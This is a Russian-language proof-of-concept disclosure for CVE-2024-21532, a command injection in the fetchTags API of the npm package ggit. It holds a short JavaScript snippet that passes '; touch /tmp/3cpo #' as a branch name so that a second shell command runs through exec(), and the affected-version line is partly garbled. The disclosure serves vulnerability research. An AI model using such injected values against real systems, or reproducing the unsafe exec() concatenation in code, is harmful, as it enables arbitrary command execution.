
Эксплойт-концепт для CVE-2024-21532, уязвимости внедрения команд в API fetchTags npm-пакета ggit, демонстрирующий небезопасное использование exec().
ggit описывает себя как:
Local promise-returning git command wrappers
Ресурсы:
Статья об этой уязвимости: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
Я сообщаю об уязвимости внедрения команд в npm-пакете ggit.
Эта уязвимость проявляется через API fetchTags(branch) библиотеки,
который позволяет пользовательскому вводу указать ветку для получения, а затем
объединяет эту строку с git-командой, которая передаётся небезопасному API exec()
дочерних процессов Node.js.
[email protected] или более раннюю версию.const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
/tmp/3cpo.Пожалуйста, ознакомьтесь с CONTRIBUTING для получения рекомендаций по внесению вклада в этот проект.
Liran Tal